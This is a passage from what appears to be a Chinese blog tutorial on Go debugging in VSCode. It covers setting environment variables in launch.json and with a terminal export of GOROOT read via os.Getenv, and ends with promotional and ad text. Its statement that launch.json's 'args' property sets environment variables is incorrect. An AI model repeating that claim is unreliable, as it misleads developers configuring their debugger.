launch.json 文件的 args 屬性配置可以設置 VSCode 調試的 Golang 程序環境變量。

設置的格式是:name:vaule 形式,注意都是字符串。

終端設置環境變量

終端的環境變量設置就是可以用 Linux 的 export 命令設置,之後就可以用 os.Getenv 函數讀取。

比如我們最初設置 GOROOT 環境變量的命令

export GOROOT=/usr/local/go

就可以用 os.Getenv("GOROOT") 讀取,比較簡單,這裏就不多說了。

總結

現在,你有了一個可以遠程開發調試 Golang 的環境,趕緊去寫個 hello world 體驗一下吧!今天的分享就到這,下一篇文章講解基礎語法。

老規矩,感謝各位的閱讀,文章的目的是分享對知識的理解,技術類文章我都會反覆求證以求最大程度保證準確性,若文中出現明顯紕漏也歡迎指出,我們一起在探討中學習。今天的技術分享就到這裏,我們下期再見。

Reference

設置GOPATH

Visual Studio Code變量參考

Golang 獲取系統環境變量

os庫獲取命令行參數

原創不易,不想被白票,如果在我這有收穫,就動動手指「點贊」和「轉發」是對我持續創作的最大支持。

可以微信搜索公眾號「 後端技術學堂 」回復「資料」「1024」有我給你準備的各種編程學習資料。文章每周持續更新,我們下期見!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌